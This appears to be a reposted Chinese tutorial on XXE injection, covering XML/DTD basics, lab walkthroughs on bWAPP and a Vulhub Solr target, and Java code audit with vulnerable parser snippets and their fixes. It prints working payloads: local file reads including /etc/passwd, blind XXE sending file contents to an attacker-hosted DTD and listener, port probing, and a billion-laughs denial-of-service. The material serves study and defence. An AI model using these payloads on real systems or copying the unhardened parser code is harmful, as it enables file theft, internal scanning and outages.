【网络安全】JAVA代码审计—— XXE外部实体注入
一、WEB安全部分
想要了解XXE,在那之前需要了解XML的相關基礎
二、XML基礎
2.1 XML語法
所有的XML元素都必須有一個關閉標簽
XML標簽對大小寫敏感
XML必須正確嵌套
XML 文檔必須有根元素
XML屬性值必須加引號
實體引用,在標簽屬性,以及對應的位置值可能會出現<>符號,但是這些符號在對應的XML中都是有特殊含義的,這時候我們必須使用對應html的實體對應的表示,比如<對應的實體就是<,>符號對應的實體就是>
在XML中,空格會被保留,如:
a空格B
,這時候a和B之間的空格就會被保留2.2 XML結構
需要安全學習資料可以私信我:書籍、視頻教程、工具及學習思路【點擊查看】
2.2.1 XML文檔聲明
<?xml version="1.0" encoding="utf-8"?>2.2.2 元素
元素是 XML 以及 HTML 文檔的主要構建模塊,元素可包含文本、其他元素或者是空的。
<body>body text in between</body> <message>some message in between</message>空元素有例如:hr、br、img
2.2.3 屬性
屬性可提供有關元素的額外信息
<img src="computer.gif"/>其中,src為屬性
2.2.4 實體
實體分為四種類型,分別為:
- 字符實體
- 命名實體
- 外部實體
- 參數實體
2.3 文檔類型定義–DTD
DTD是用來規范XML文檔格式,既可以用來說明哪些元素/屬性是合法的以及元素間應當怎樣嵌套/結合,也用來將一些特殊字符和可復用代碼段自定義為實體
DTD可以嵌入XML文檔當中(內部聲明),也可以以單獨的文件存放(外部引用)
2.3.1 DTD內部聲明
假如 DTD 被包含在您的 XML 源文件中,它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:
內部聲明DTD示例
<?xml version="1.0"?> <!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)> ]> <note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body> </note>以上 DTD 解釋如下:
- !DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。
- !ELEMENT note (第三行)定義 note 元素有四個元素:“to、from、heading,、body”
- !ELEMENT to (第四行)定義 to 元素為 “#PCDATA” 類型
- !ELEMENT from (第五行)定義 from 元素為 “#PCDATA” 類型
- !ELEMENT heading (第六行)定義 heading 元素為 “#PCDATA” 類型
- !ELEMENT body (第七行)定義 body 元素為 “#PCDATA” 類型
2.3.2 DTD外部引用
假如 DTD 位于 XML 源文件的外部,那么它應通過下面的語法被封裝在一個 DOCTYPE 定義中:
這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD:
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>note.dtd:
<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>2.3.3 PCDATA
PCDATA 的意思是被解析的字符數據(parsed character data)。
PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記,文本中的標簽會被當作標記來處理,而實體會被展開,值得注意的是,PCDATA不應包含&、<和>字符,需要用& < >實體替換,又或者是使用CDATA
2.3.4 CDATA
CDATA 的意思是字符數據(character data)。
CDATA 是不會被解析器解析的文本。
在XML中&、<字符是屬于違法的,這是因為解析器會將<解釋為新元素的開始,將&解釋為字符實體的開始,所以當我們有需要使用包含大量&、<字符的代碼,則可以使用CDATA
CDATA由結束,在CDATA當中,不能包含]]>字符串,也不能嵌套CDATA,結尾的]]>字符串不能包含任何的空格和換行
2.3.5 DTD實體
DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
實體又分為一般實體和參數實體
1,一般實體的聲明語法:
引用實體的方式:&實體名;
2,參數實體只能在DTD中使用,參數實體的聲明格式:
引用實體的方式:%實體名;
2.3.5.1 內部實體
<!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"><author>&writer;?right;</author>2.3.5.2 外部實體
外部實體,用來引入外部資源。有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><author>&writer;?right;</author>不同程序支持的協議不同
其中php支持的協議會更多一些,但需要一定的擴展支持。
三、XXE
XXE即XML外部實體注入,由上面可知,外部實體指的就是DTD外部實體,而造成XXE的原因是在解析XML的時候,對惡意的外部實體進行解析導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害
如何判斷
3.1 如何判斷是否存在XXE
以bwapp靶場為例
首先查看http頭,觀察是否有XML相關字符串
再判斷是否解析了XML內容
發現修改內容后服務器回解析相應的內容
3.2 XXE可導致的危害
3.2.1 讀取文件
最主要使用的是使用XXE來讀取文件,這里我使用bwapp靶場作為環境
我搭建環境的時候使用php版本為5.2.17的環境,我是使用phpstudy搭建的環境,如果php版本大于5.2.17或者使用docker環境(php版本為5.5.9)會導致沒有回顯,當然可能只是我的環境問題,但是如果以low難度進行注入時使用正確的payload都是顯示An error occured!的話,可以嘗試使用我的方法
3.2.1.1 有回顯
首先先進入XXE漏洞的測試界面
http://192.168.0.105/bwapp/xxe-1.php
進行抓包,發現存在text/xml
通過修改數據,觀察服務器是否會解析XML的內容
確定服務器會解析XML內容,就可以自己構造注入了
XML的外部實體“bee”被賦予的值為:file:///d:/robots.txt,當解析xml文檔時,bee會被替換為file:///d:/robots.txt的內容。就被執行回顯回來了。
3.2.1.2 無回顯(Blind XXE)
但是在實際環境中XML大多數時候并非是為了輸出用,所以很多時候是不會有輸出的,這樣即使XML被解析了但是是無法直接讀取文件的,所以我們需要外帶數據,把數據發送出來讀取
靶場環境:Vulhub - Docker-Compose file for vulnerability environment
搭建好環境后先進入此頁面http://192.168.3.25:8983/solr/#/demo/query,然后點擊提交,進行抓包,并把包發送到重放器
在本地主機(使用橋接)或者是云服務器,反正能讓目標服務器連接到的ip的主機即可,在此服務器上創建dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">創建完后修改包內的payload
/solr/demo/select?_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+“http%3a//192.168.3.35/xxe.dtd”>%25send%3b%25dtd%3b]>%26data%3b&wt=xml&defType=xmlparser
該payload解碼后為
<?xml version="1.0" ?>%send;%dtd;]>&data;&wt=xml&defType=xmlparser注意,http://192.168.3.35/xxe.dtd這句需要改為自己的地址,同時發包的時候不要把&wt=xml&defType=xmlparser進行url編碼,直接復制上去就好了
以上情況是當php報錯時將里面的數據,如果php沒有報錯則使用下面的方法
首先先監聽端口,然后在上面的基礎上修改一下dtd文件
<!ENTITY % file SYSTEM "file:///h:/test.txt"> <!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">在連接后面附上監聽的端口,發送后會在監聽處收到信息,如果沒有可以嘗試查看服務器日志
這里用一下別人的圖
參考鏈接:XXE漏洞詳解——進階篇 - FreeBuf網絡安全行業門戶
但是我這里復現沒有成功,也有可能是直接通過報錯讀出文件的原因,但是還是記錄一下這種情況
3.2.1.3 讀取PHP等文件
由于一些文件,如php文件內含有<等字符,在讀取的時候想、解析器會將這些解析為xml語言導致語法錯誤,所以為了避免這種情況出現使用偽協議來讀取
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt"> ]><reset><login>&bee;</login><secret>Any bugs?</secret></reset>
3.2.1.4 端口探測
同樣使用bwapp靶場作為環境
前面的流程基本一致,抓包后構造注入
在http連接后跟端口,如果端口開啟,則會顯示 failed to open stream: HTTP request failed!,否則不顯示(或者顯示failed to open stream: Connection refuse!或500狀態碼)
我這里使用phpstudy作為環境,所以開啟了3306端口
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hack[ <!ENTITY bee SYSTEM "http://192.168.3.25:3306"> ]>
測試666端口,機器沒有開啟,所以在發送包后獲取響應包需要很長一段時間,最后報500錯誤碼
測試1234端口,本機同樣為開啟,也是等待了一小會才獲取到的響應包
3.2.1.5 遠程命令執行RCE
要想要RCE需要使用expect協議,其他協議也有可能可以執行命令
expect需要安裝expect拓展
3.2.1.6 DDOS 攻擊
參考文章:XXE從入門到放棄 - 安全客,安全資訊平臺 (anquanke.com)
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "abc"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]><lolz>&lol9;</lolz>該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”abc”字符串,從而導致 DDoS 攻擊。原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向于將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。
3.2.1.7 防御XXE
方案一、使用開發語言提供的禁用外部實體的方法
PHP: libxml_disable_entity_loader(true);JAVA:看下面的代碼審計Python: 第三方模塊lxml按照修改設置來改就可以 from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))def xxe():tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))# tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))return etree.tostring(tree.getroot()) 嘗試改用defusedxml 是一個純 Python 軟件包,它修改了所有標準庫 XML 解析器的子類,可以防止任何潛在的惡意操作。 對于解析不受信任的XML數據的任何服務器代碼,建議使用此程序包。方案二、過濾用戶提交的XML數據
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
不允許XML中含有任何自己聲明的DTD
有效的措施:配置XML parser只能使用靜態DTD,禁止外來引入;對于Java來說,直接設置相應的屬性值為false即可
參考文章:(38條消息) XXE詳解_bylfsj的博客-CSDN博客_xxe
四、JAVA代碼審計部分
XXE為XML External Entity Injection的英文縮寫,當開發人員允許xml解析外部實體時,攻擊者可構造惡意外部實體來達到任意文件讀取、內網端口探測、命令執行、拒絕服務攻擊等方面的攻擊。
產生XXE有三個條件,首先是解析了XML,其次是XML外部可控。最后是沒有禁用外部實體
五、XML常見接口
5.1 XMLReader
XMLReader接口是一種通過回調讀取XML文檔的接口,其存在于公共區域中。XMLReader接口是XML解析器實現SAX2驅動程序所必需的接口,其允許應用程序設置和查詢解析器中的功能和屬性、注冊文檔處理的事件處理程序,以及開始文檔解析。當XMLReader使用默認的解析方法并且未對XML進行過濾時,會出現XXE漏洞
5.2 SAXBuilder
SAXBuilder是一個JDOM解析器,其能夠將路徑中的XML文件解析為Document對象。SAXBuilder使用第三方SAX解析器來處理解析任務,并使用SAXHandler的實例偵聽SAX事件。當SAXBuilder使用默認的解析方法并且未對XML進行過濾時,會出現XXE漏洞
5.3 SAXReader
DOM4J是dom4j.org出品的一個開源XML解析包,使用起來非常簡單,只要了解基本的XML-DOM模型,就能使用。DOM4J讀/寫XML文檔主要依賴于org.dom4j.io包,它有DOMReader和SAXReader兩種方式。因為使用了同一個接口,所以這兩種方式的調用方法是完全一致的。同樣的,在使用默認解析方法并且未對XML進行過濾時,其也會出現XXE漏洞。
5.4 SAXParserFactory
SAXParserFactory使應用程序能夠配置和獲取基于SAX的解析器以解析XML文檔。其受保護的構造方法,可以強制使用newInstance()。跟上面介紹的一樣,在使用默認解析方法且未對XML進行過濾時,其也會出現XXE漏洞。
5.5 Digester
Digester類用來將XML映射成Java類,以簡化XML的處理。它是Apache Commons庫中的一個jar包:common-digester包。一樣的在默認配置下會出現XXE漏洞。其觸發的XXE漏洞是沒有回顯的,我們一般需通過Blind XXE的方法來利用
5.6 DocumentBuilderFactory
javax.xml.parsers包中的DocumentBuilderFactory用于創建DOM模式的解析器對象,DocumentBuilderFactory是一個抽象工廠類,它不能直接實例化,但該類提供了一個newInstance()方法,這個方法會根據本地平臺默認安裝的解析器,自動創建一個工廠的對象并返回。
六、接口代碼審計&修復
通過了解XXE的原理了解到防御XXE只需要做到以下幾點
1、不解析XML,但是有的時候業務需要
2、禁用dtd,同樣很多時候無法實現
3、禁用外部實體和參數實體
對大部分時候,都可以通過設置feature來控制解析器的行為
// 這是優先選擇. 如果不允許DTDs (doctypes) ,幾乎可以阻止所有的XML實體攻擊 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 如果不能完全禁用DTDs,最少采取以下措施,必須兩項同時存在 setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部實體POC setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止參數實體POC如果是啟用了XIclude則要在feature規則前添加
dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude以下代碼均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)
6.1 XMLReader
try {String body = WebUtils.getRequestBody(request);logger.info(body);XMLReader xmlReader = XMLReaderFactory.createXMLReader();xmlReader.parse(new InputSource(new StringReader(body))); // parse xmlreturn "xmlReader xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }
6.2 修復代碼
6.3 SAXBuilder
try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXBuilder builder = new SAXBuilder();// org.jdom2.Document documentbuilder.build(new InputSource(new StringReader(body))); // cause xxereturn "SAXBuilder xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }
6.4 修復代碼:
6.5 SAXReader
try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXReader reader = new SAXReader();// org.dom4j.Document documentreader.read(new InputSource(new StringReader(body))); // cause xxe} catch (Exception e) {logger.error(e.toString());return EXCEPT; }
修復代碼:
6.6 SAXParserFactory
try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();SAXParser parser = spf.newSAXParser();parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xmlreturn "SAXParser xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }
6.7 修復代碼:
6.8 Digester
try {String body = WebUtils.getRequestBody(request);logger.info(body);Digester digester = new Digester();digester.parse(new StringReader(body)); // parse xml } catch (Exception e) {logger.error(e.toString());return EXCEPT; }
修復代碼:
6.9 DocumentBuilderFactory
6.9.1 代碼1:
try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xml// 遍歷xml節點name和valueStringBuilder buf = new StringBuilder();NodeList rootNodeList = document.getChildNodes();for (int i = 0; i < rootNodeList.getLength(); i++) {Node rootNode = rootNodeList.item(i);NodeList child = rootNode.getChildNodes();for (int j = 0; j < child.getLength(); j++) {Node node = child.item(j);buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));}}sr.close();return buf.toString(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }
6.9.2 代碼2:
6.9.3 修復代碼:
try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);db.parse(is); // parse xmlsr.close(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }6.9.4 代碼3,支持XInclude:
6.9.4.1何為XInclude
Xinclude即為XML Include,其實就是文件包含,其作用很大時候可以使得代碼更加簡潔,當需要使用其中的內容的時候再把文件包含進來,可以參考php的include
try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setXIncludeAware(true); // 支持XIncludedbf.setNamespaceAware(true); // 支持XIncludeDocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xmlNodeList rootNodeList = document.getChildNodes();response(rootNodeList);sr.close();return "DocumentBuilder xinclude xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }修復代碼;
try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setXIncludeAware(true); // 支持XIncludedbf.setNamespaceAware(true); // 支持XIncludedbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xmlNodeList rootNodeList = document.getChildNodes();response(rootNodeList);sr.close(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }6.10 XMLReader&SAXParserFactory
try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();SAXParser saxParser = spf.newSAXParser();XMLReader xmlReader = saxParser.getXMLReader();xmlReader.parse(new InputSource(new StringReader(body)));} catch (Exception e) {logger.error(e.toString());return EXCEPT; }
修復代碼:
6.11 DocumentHelper
try {String body = WebUtils.getRequestBody(req);DocumentHelper.parseText(body); // parse xml } catch (Exception e) {logger.error(e.toString());return EXCEPT; }
修復該漏洞只需升級dom4j到2.1.1及以上,該版本及以上禁用了ENTITY;
不帶ENTITY的PoC不能利用,所以禁用ENTITY即可完成修復。
總結
以上是生活随笔為你收集整理的【网络安全】JAVA代码审计—— XXE外部实体注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】手把手给大家演练红队渗透项目
- 下一篇: 【关于学习渗透】手把手教你玩转java反